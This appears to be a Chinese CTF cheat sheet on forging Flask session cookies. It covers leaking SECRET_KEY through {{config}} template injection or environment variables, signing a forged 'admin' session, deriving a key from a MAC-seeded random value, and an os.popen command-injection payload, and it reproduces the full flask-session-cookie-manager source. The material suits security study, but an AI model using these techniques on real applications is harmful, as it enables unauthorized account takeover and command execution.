python session伪造

session伪造 #

获取SECRET_KEY，一般存放在环境变量中，可通过evs查看，在靶场中可注意查看robots.txt或者通过注入{{config}}查看

noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)

注意python2和python3生成的是不一样的，win和linux好像也不一样

在encode时注意包裹要用双引号

在encode时，要注意是否包含True 或者False 在python要首字母大写，不要写错了

~~Ture~~ =>True

~~Flase~~ =>False

注意看到key后面的符号有些时候会没有复制到，如！
```
__import__(\"os\").popen(\"cat flag.txt\").read()
```
- encode
```
python3 flask_session_cookie_manager3.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
```
- decode
```
python3 flask_session_cookie_manager3.py decode -c 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoieWVhciJ9.u96oSxNl0euw-9FpcndeiWMoHfMHx55nfrpF8VcpzA8' -s 'you-will-never-guess'
```
  没有key就直接-c,但是修改了再加密回去需要知道key才行

签名伪造 #

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()

PID伪造 #

有key，

mac地址:c2:e8:f4:f8:4f:18

cat /sys/class/net/eth0/address

mac地址路径，cookie伪造：https://github.com/noraj/flask-session-cookie-manager

sys/class/net/eth0/address

import random
random.seed(0xc2e8f4f84f18)
print(str(random.random()*233))

得到205.110268101

python se.py encode -s '205.110268101' -t "{'username': b'fuck'}"

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

session伪造 #

签名伪造 #

PID伪造 #